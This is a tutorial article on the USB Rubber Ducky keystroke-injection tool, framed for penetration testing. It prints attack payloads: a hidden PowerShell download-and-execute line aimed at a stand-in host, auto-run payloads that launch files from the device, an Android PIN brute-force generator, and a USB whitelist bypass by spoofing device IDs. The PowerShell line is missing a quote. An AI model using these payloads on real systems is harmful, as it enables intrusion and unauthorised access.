# **The USB Rubber Ducky – The Penetration Testers USB**

## The USB Rubber Ducky or “Ducky” for short is a programmable Human Interface Device (HID), that when inserted into an Operating System (OS) will interact or assume the identity of a certain device; keyboard, mass storage or a given combination. Allowing the injection of keystrokes or applications into the OS’s memory. The key focus on the Ducky is that it can be programmed in a simple high-level language that any user of any technical skill level can quickly and easily learn to program.

## What you will learn…

· How to inject keystrokes into an Operating System

· How to bypass some Data Loss Prevention (DLP) instances

· How to perform Auto-Run style attacks

· How to attack mobile devices

· Fuzz USB device drivers

## What you need to know…

Basic

· Running Java Programs

Advanced

· Hexadecimal

· Knowledge of C/C++

· USB HID Protocol

# **Background**

The project was the procession of the popular Teensy HID Attacks. But there were two small problems with regards to the Teensy; programming and size; Some knowledge of C/C++ was needed to effectively program the device, and with the addition of the micro sdcard reader the resultant hardware was rather bulky and ugly.

The solution was to create a custom/bespoke board that used a similar chipset that had the micro sdcard reader built-in. The aim was to fit everything into a standard USB case, thus making the Ducky a sleak little ninja. Thus, the Ducky became a smaller, lighter, and yet more powerful adversary.

Initially the Ducky was limited to supporting only the Microsoft Windows OS and the US language/keyboard mapping. Suspicions were that this was a firmware related problem. But thanks to the developments of one community member -- a hacker by the alias midnitesnake; the community has seen an influx of different language support (US, GB, FR, DE, NW, SW, RU, ES, PT, BR, BE) and a number of device firmware; Keyboard, Mass Storage, and Composite Device (Keyboard & Mass Storage). The rise of the Ducky has seen the return of Auto-Run style attacks, as the injected keyboard payload can execute a file on the mass storage partition, or even a file on another device.

No longer limited to the Microsoft Windows platform midnitesnake has hacked the firmware so that it can function on other OS’s. The full list is now:

· Windows

· Mac OSX

· Linux

· BSD

· Solaris

· Other Unix based OS’s

· Android

· iOS

In this article we will look at the application of the Ducky and its different features.

# **The Ducky Breakdown**

The Ducky relies on three essential components:

· The Hardware

· The Firmware

· The Encoder

## Hardware

Jason Applebaum is the man behind the initial hardware and first firmware (that still comes as the stock firmware, when you purchase the device). Jason produced a state-machine that would quickly and effectively take raw two-byte codes, and turn them into HID control characters. The state machine manages the state of the keys (button down/button up) so the user does not have to worry about the complexity of the HID protocol, and the fact that every emulated keypress has to be dealt with twice – key down and key up. The Ducky’s board may vary in color (depending on production runs), but essentially all current Ducky’s are Revision 2 (R2). An updated Revision 3 is currently in the concept phase that should contain yet another more powerful chip, with more memory, possibly opening other attack possibilities. Jason’s main line of work

## Encoder

One key factor was to make a high-level scripting language that was easy for the public to learn, in order to quickly develop interesting and effective payloads. The Hak5 Team constructed the first Ducky-Code or rather Ducky Script, this took plain simply English commands and keyboard identifiers and translated them into a series of two-byte codes. One-byte for modifiers for example shift, caps\_lock etc, and one-byte for the actual key press a,b,c… The Team wanted to create an opensource sub-program “the Encoder” that would address the need of converting the high level commands into these two-byte codes. The program had to function on any OS; for this reason Java was used to compile a program that would translate English instructions to the raw binary code (*inject.bin*) that the Ducky needed. The Encoder that comes delivered with the Ducky is Jason Applebaum’s original version, which unfortunately only works on US languages. But read on…

When midnitesnake built the community firmware he decided to keep the current Encoder and the state machine (covered below), so that all code was backward compatible. It was midnitesnake that discovered that the initial language problems were in-fact located in the *Encoder.jar* and not the firmware. Using a USB sniffer midnitesnake was able to determine the HID codes for additional keys, and secret behind multiple key presses (representing three keystrokes within two bytes) and the fact that HID codes would represent different characters on the keyboard depending on the selected language of the OS. Effectively opening up the power of the Ducky to viably the whole world!

This second version of the encoder was published as open-source on a googlecode website (<http://ducky-decode.googlecode.com>), initially only supporting US and GB keyboard mappings midnitesnake turned to the community to help fill in the blanks for other countries. First came French, then Deutsch and after a few months more communities were combining their efforts to help aid in adding support for their countries/languages. To this day the community is still growing, if you language/keyboard is not supported jump on the Hak5 forums for support (<http://forums.hak5.org>).

## Community Firmware

As the world was initially left with a firmware that would only work in Microsoft Windows; midnitesnake took on the challenge of building the first cross-OS firmware. Back in December 2011 the Hak5 source code had not yet been released, so the firmware had to be designed and written from scratch! By analyzing the Ducky under a magnifying glass the chipset could easily be read “Atmel AT32UC3B1256”. Visiting the Atmel website (<http://www.atmel.com/>) midnitesnake discovered that the USB HID documentation and Atmel compiler (Atmel Studio) were all freely available for developers and hobbyists. Following Atmel’s examples midnitesnake started to code his own firmware. Unfortunately, the firmware never worked… it was not until February 2012 when Hak5 finally released their code that the mistake was spotted – the clock speeds of the micro-controller were all wrong! After correcting the code, midnitesnake found that the new firmware sprang into life, and was additionally 10x faster – and surprisingly worked across several OS’s (Windows, Ubuntu and OSX). But at this point it was just a C-language Proof-of-Concept (PoC), with no state-machine or Ducky Script this PoC was difficult for users to program. So for backwards compatibility and ease of use, midnitesnake ported Jason Applebaum’s state machine to the new Ducky community firmware. Giving the community an effectively new penetration testing toy. Midnitesnake continued to develop addition firmware all with different features; Specific triggers, mass storage, and device composition. To this day midnitesnake is still working as the sole firmware developer trying to create new features, and make the Ducky easier to use.

# **HID Injection Attacks**

The stock firmware is a basic keyboard HID injection attack. This essentially means the Ducky is behaving as an automatic keyboard – typing much faster than any human. The Ducky’s speed is limited to the USB bus and the clock speed of the micro-controller. Still it can type in seconds what would take the average human minutes.

The Ducky can quickly type on a machine that has briefly been left unlocked, or it can be used in brute-force attacks to compromise a login form or authorization request. In-fact the Ducky can be used in any situation where a keyboard is normally used, even to aid in repetitive tasks. We will now look at a simple Ducky payload to demonstrate the simple nature of Ducky Script and how simple the Ducky is to program.

Creating an *inject.bin*

Copy the “Sample Payload” and insert the text into any text editor (Notepad, Nano, Vi) and save to a file called *sample.txt:*

<<LISTING 1>>

**Listing 1**: Simple Payload

DELAY 3000

WIN R

DELAY 100

STRING NOTEPAD

ENTER

STRING This is a Test. My First Ducky Payload!

ENTER

<</LISTING 1>>

To run the encoder, you need to check if Java is installed on your machine. Open a command-line terminal with cmd.exe, and type java –version, if you receive “command not found” it is possible that Java is not installed on your system. Visit [*http://java.com/en/download/index.jsp*](http://java.com/en/download/index.jsp) to download Java for your system.

Now to convert the *sample.txt* into an *inject.bin*, copy the command below:

<<LISTING 2>>

**Listing 2**: Converting Simple Payload into *inject.bin* using Encoder v2.6

java –jar duckencoder.jar –i sample.txt –o inject.bin

<</LISTING 2>>

Alternatively, if you are not using an American configuration / language, you can switch languages be using the –l flag:

<<LISTING 3>>

**Listing 3**: Converting Simple Payload into *inject.bin* using Encoder v2.6 and GB Keyboard Mapping

java –jar duckencoder.jar –l resources\gb.properties –i sample.txt –o inject.bin

<</LISTING 3>>

Then simply copy the *inject.bin* over to the sdcard (using a suitable adapter).

Remove the sdcard, and insert into the Ducky’s sdcard reader.

Plug the Ducky into a Windows Computer. And watch the payload open notepad and write your test message.

If you want some ideas on creating some Ducky Script payloads the community is maintaining a small list on the Hak5 github repository [*https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads*](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads). Also if your more interested in attack vector payloads visit [*https://code.google.com/p/simple-ducky-payload-generator/*](https://code.google.com/p/simple-ducky-payload-generator/) for a collection of remote shells and social engineering type payloads.

## Case Study – Social Engineering

We will now look at a case study where the Ducky was used during a penetration test:

Bob is a Professional Penetration Tester for company X. Bob’s specialty is Social Engineering engagements. Company ACME-Financial, has hired company X (Bobs employer) to perform some annual penetration testing to ensure that all their customers financial information is safe, and cannot be hacked into by a 3rd party (industrial espionage).

Bob, being an experienced Social Engineer decides to drop several USB drives (Duckies) in the car-park/communal-area/smokers-area, hoping someone notices a drive, picks it up and inserts it into their machine back at their desk. The USB starts a reverse-shell to a server Bob controls, Bob can then start hacking ACME-Financial from the inside-out.

<<LISTING 4>>

**Listing 4**: Powershell Download and Execute Payload

DELAY 3000

WIN R

DELAY 100

STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://example.com/exploit.txt,'%TEMP%\exploit.exe'); Start-Process "%TEMP%\exploit.exe"

ENTER

<</LISTING 4>>

Bob made a reverse-shell payload, and inserted the Ducky into its case. The Ducky now resembles a plain USB drive; which upon insertion would rapidly start typing at the keyboard and effectively create a reverse-shell to Bob’s server on the Internet. Bob stuck a sticker on the USB labeled “2012 Top Account Info” hoping someone would spot it, pick it up, and try to read the USB drive in their machine.

Bob waits patiently in his car, using his cellular modem to access the Internet. Bob sits quietly, intensely staring at his screen, waiting for the ping of a reverse-shell connecting. Then boom, Bob has access to the local network! Someone has inserted one of Bob’s Duckies into their computer.

# **DLP Attacks**

Shortly after discovering the answer to building different key-mappings without the need to alter the firmware. Midnitesnake released a firmware that allowed the Ducky to function as a normal USB Mass Storage device. This was functional but slow; as the Ducky is Open-Source the Manufacturer (Hak5) nor midnitesnake (community leader) could use the proprietary SDIO code that allows fast file transfers -- Hence the Ducky is limited to the maximum speed of the MMC data transfer rate of approximately 150KB/s. This firmware release was the initial stepping stone, for the progression of the Composite Duck, nick named “The Twin Duck”.

However, there is an important part the Ducky can play. The firmware has been given the functionality to mimic a specific USB VID and PID from within a file stored on the micro-sdcard called *vidpid.bin*. This file is read by the microcontroller as power is initially supplied to the device, and the values contained within this file are used to manipulate the data on the Ducky’s USB stack. When the OS starts to interrogate the device for the VID, PID and class identifiers this information is then supplied to the OS so the appropriate driver can be loaded. Any device control software (DLP solutions), which operates on white/black-lists, can therefore be easily bypassed as the Ducky can pretend to be an authorised device. For example, if an organisation only allowed encrypted Kingston Data Traveller USB Drives, the Ducky would pretend to by a Kingston Data Traveller. The OS would correctly mount the drive; and the user is free to copy data to/from the device. This has been successfully demonstrated within the industry with organistions restricting the use of USB Disk Drives, to a particular vendor that supplies encrypted drives. The Ducky is able to pretend to be an encrypted drive and can successfully be mounted.

The file *vidpid.bin* can be easily be altered by any hex editor software (Windows: *HXD http://mh-nexus.de/en/hxd/,* Linux: *xxd, hexedit*). The VID and PID are read as Hexadecimal values and not ASCII. For example to mimic the USB VID PID of a Kingston Data Traveller set the first four bytes of the *vidpid.bin* file to:

09 51 16 00

You then need to save the file, unplug, and re-insert the Ducky. You should then find that the OS will now identify the Ducky as a Kingston Data Traveler Drive.

Since this development Anti-Virus (AV) companies and other DLP vendors have jumped onto the Ducky project in order to research viable counter-measures. Currently the vendors have come up with the following solutions to stop Ducky DLP attacks:

· Additionally using the USB serial number to verify the device. Current Ducky firmware developments have not established an easy way of manipulating serial numbers. Currently the user would need to recompile the firmware inorder to change the USB serial number.

· Additionally using the USB Vendor labels; again this has to be manually changed inside the firmware source code and re-compiled.

· Fully disabling USB Mass Storage Support for Users that are not authorised to use mass storage devices.

# **Auto-Run Type Attacks**

The Ducky has numerous alternative firmware created by midnitesnake; the composite device (or *c\_duck\_vXX.hex*) is a combination of the Keyboard HID Emulation, and the Mass Storage device. Now the HID payload can directly reference the Drive/Partition of the sdcard mounted on the actual Ducky. This essentially brings back auto-run type attacks as no interaction is needed from the user. The Ducky can type so fast that a small and simple payload is triggered within a flash!

<<LISTING 5>>

**Listing 5:** Windows Example Auto-run Attack Code in Ducky Script

DELAY 3000

WIN R

DELAY 50

STRING CMD.EXE

ENTER

DELAY 100

STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%d

ENTER

DELAY 50

STRING %myd%\payload.exe

ENTER

STRING EXIT

ENTER

<</LISTING 5>>

The code above utilizes the power of the Windows Management Instrumentation Command-line (WMIC) to find the drive letter associated with the label *DUCKY* then sets an environment variable to reference the drive. Then the payload on the sdcard is executed through the use of the environment variable. No interaction is required from the user, other than possibly inserting the Ducky (in disguise as a normal USB Drive) into their computer. WMIC I only present in Windows, therefore the payload needs adapting for OSX or Linux systems.

<<LISTING 6>>

**Listing 6:** OSX Example Auto-Run Attack Code in Ducky Script

DELAY 3000

COMMAND-SPACE

DELAY 100

STRING /Volumes/DUCKY/payload.bin

ENTER

<</LISTING 6>>

<<LISTING 7>>

**Listing 7:** Ubuntu Example Auto-Run Attack Code in Ducky Script

DELAY 3000

ALT-F2

DELAY 50

STRING Terminal

ENTER

DELAY 100

STRING /media/DUCKY/payload.bin

ENTER

DELAY 100

EXIT

<</LISTING 7>>

Note: Timings may need to be adjusted depending on the speed of the system

# **Ducky & Mobile Devices**

## Android

Hak5’s Darren Kitchen was the first to test out midnitesnake’s new firmware and found the Ducky would also function on the Android Platform. Darren successfully tested the firmware on the Galaxy Nexus/Note running the Android version 4.2.1. Darren programmed a script that would utilise the power of the Ducky to unlock his phone within 24 hours. For this attack to work you will need a compatible USB (micro) On-The-Go (OTG) a cable.

With a 4 digit PIN and the default of 5 tries followed by a 30 second timeout you're looking at a best case scenario of exhausting the key space in about 16.6 hours. Thankfully the USB Rubber Ducky never gets tired, bored or has to pee.

Rather than post the nearly 600K Ducky Script below is the bash script used to create it. You could modify it to do 5 digits, but that would take 166 hours. 10 digits would take 1902.2 years.

<<LISTING 8>>

**Listing 8:** A Linux Bash Script

echo DELAY 5000 > android\_brute-force\_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | sed ‘s/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android\_brute-force\_0000-9999.txt

<</LISTING 8>>

<<LISTING 9>>

**Listing 9:** An OSX Shell Script

echo DELAY 5000 > android\_brute-force\_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | gsed '0~5 s/$/\nWAIT/g' | gsed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | gsed 's/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android\_brute-force\_0000-9999.txt

<</LISTING 9>>

The composite firmware can be used to sneakily install an application onto an Android device. By first configuring the HID injection payload to alter the security settings to allow software installation from unknown sources. Secondly, the HID payload would then have to navigate to the \*.apk program you wish to install from the micro sdcard.

<<LISTING 10>>

**Listing 10**: Android Payload– Allow Program Installation from Unknown Sources

CTRL P

REM SELECT SECURITY

REM TOTAL 13 DOWNARROWS

DOWNARROW

REPEAT 12

REM SELECT UNKNOWN SOURCES

RIGHTARROW

ENTER

REM SAY OK TO THE POPUP MESSAGE

RIGHTARROW

ENTER

<</LISTING 10>>

## iOS

The Ducky will additionally work on iOS through the use of a special USB camera add-on. The USB camera adapter interfaces with the slightly older 30pin docking interface present on older versions of the iPad and iPhone. The Ducky has been successfully demonstrated at typing within the notes application. However, the security management on the PIN/Password entry is slightly different, forcing ever increasing timeouts after every five incorrect password attempts. No one has currently published any brute force attack scripts, but it is possible.

# **Fuzzy Duck**

Or rather “Ducky Fuzzing” is an advanced topic and not really aimed at beginners, for fuzzing you need an understanding of C programming and the HID Protocol. So how do you use the Ducky as a simple USB fuzzer?

Solution: You can manipulate the Ducky’s Firmware configuration files (*conf\_\*.h*) to contain overly large strings, or manipulate the USB Endpoints. If you have a deeper understanding on the HID protocol specification, you can dig deeper into the code and tinker with additional values. But beware that if you break the USB Stack or the HID Protocol specification, the Ducky’s firmware may crash upon power-up and your fuzzing payload with not be sent to the host computer. If the Ducky’s firmware crashes, it’s a simple procedure of putting the Ducky back into DFU mode, and re-flashing another firmware.

By altering the Ducky’s USB VID and PID, the Windows OS will assume the Ducky is the device specified by its VID PID table, and automatically load appropriate drivers. On Linux you can simply alter a udev rule to force the OS into loading a different kernel module. You can easily pretend to be different USB devices, effectively turning the Ducky into an affordable USB Fuzzing Device.

There is no current automation, so unfortunately the firmware has to be recompiled each time you want to change or alter the configuration. But this does allow Pentesters to effectively fuzz the implementation of the USB stack for various drivers.

The Ducky has been used to find some potentially exploitable bugs within some USB Ethernet drivers. As a starting point the main file that you will want to edit for fuzzing is called *conf\_usb.h*, below are some of the variables you may wish to alter:

· USB\_DEVICE\_MANUFACTURE\_NAME

· USB\_DEVICE\_PRODUCT\_NAME

· USB\_DEVICE\_SERIAL\_NAME

· UDI\_MSC\_GLOBAL\_VENDOR\_ID

· UDI\_MSC\_GLOBAL\_PRODUCT\_VERSION

· USB\_DEVICE\_EP\_CTRL\_SIZE

· USB\_DEVICE\_MAX\_EP

· UDI\_MSC\_IFACE\_NUMBER

· UDC\_GET\_EXTRA\_STRING()

# **White Hat Ducky**

The Ducky does not always have to be Black Hat related device. Rather than limiting the Ducky to attacking systems, applications, or end users. The Ducky can also be used as a tool to aid or even complement security. Just check out some of the scenarios below:

## Solve Mundane Repetitive Tasks

Once the Ducky is programmed with a set sequence of commands, it can make complex key combinations, or mundane repetitive tasks easily to manage. Simply insert the Ducky into the computer, or push the Ducky’s GPIO button to repeat the given payload. A good example is copying the DeepFreeze shortcut for restoring a workstation to a clean-image. Instead of your fingers clambering across the keyboard for CTRL-SHIF-ALT-F6, simply program the Ducky to type this key-combination.

## Passwords

The Ducky can easily remember long complex password strings, and can function remarkably similar to a Yubi Key. If the Ducky was solely used for authentication, if you lose your Ducky, you risk losing the access and security to any accounts. Instead use the Ducky as a secret token, augmenting your existing passwords with a magic token generated by the Ducky. Making your passwords more difficult to crack depending on the format of the cryptographic hashes used to represent your secret passphrase.

## Open Source Encrypted Storage

One community member “The BlueMatt” has taken midnitesnake’s original mass storage device firmware (*USB\_vXX.hex*) and added AES encryption to facilitate an open-source encrypted mass storage device [*https://github.com/TheBlueMatt/Mass\_Storage*](https://github.com/TheBlueMatt/Mass_Storage)*.* The Ducky’s microcontroller actually supports the AES encryption algorithm [*http://www.atmel.com/Images/doc32132.pdf*](http://www.atmel.com/Images/doc32132.pdf). Though currently limited in its application the potential is there to further develop this project.

# **On The Web**

1. Buy A Ducky Today - [*http://hakshop.myshopify.com/products/usb-rubber-ducky/*](http://hakshop.myshopify.com/products/usb-rubber-ducky/)

2. Ducky Decode – Community Website – [*http://ducky-decode.googlecode.com/*](http://ducky-decode.googlecode.com/)

3. Simple Ducky Payload Generator - [*http://simple-ducky-payload-generator.googlecode.com/*](http://simple-ducky-payload-generator.googlecode.com/)

4. Hak5 Forums – USB Rubber Ducky - [*http://forums.hak5.org/index.php?/forum/56-usb-rubber-ducky/*](http://forums.hak5.org/index.php?/forum/56-usb-rubber-ducky/)

5. Hak5 Ducky Payloads - [*https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads*](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads)

6. The USB Rubber Ducky Definitive Guide v0.B (DRAFT) – [*https://code.google.com/p/ducky-decode/downloads/*](https://code.google.com/p/ducky-decode/downloads/)

*7.* Atmel Studio - [*http://www.atmel.com/tools/ATMELSTUDIO.aspx*](http://www.atmel.com/tools/ATMELSTUDIO.aspx)

# **Glossary**

· AV Anti-Virus

· DLP Data Loss Prevention

· EP End-Point

· HID Human Interface Device

· KB Kilo-Byte (1024 Bytes)

· MSC Mass Storage Class

· OS Operating System

· OTG On-The-Go

· PID Product Identifier

· PIN Personal Identification Number

· PoC Proof of Concept

· UDC USB Device Controller

· UDI USB Device Interface

· USB Universal Serial Bus

· VID Vendor Identifier

· WMIC Windows Management Instrumentation Command-line

# **About The Author**

Midnitesnake is a professional penetration tester and security researcher for Pentura Ltd, a UK Security Company that specialises in Penetration Testing, Consultancy and additional security related services. He has been working within the computer security field for over 9 years, working within the government and commercial sectors. He has worked in some of the largest security companies spanning both sides of the Atlantic. An avid mentor and keen trainer, midnitesnake has supported many individuals that now take on senior or managerial roles within several security focused companies. Keen on several aspects of the computer security field his talents spread between application, infrastructure, wireless and hardware penetration assessments.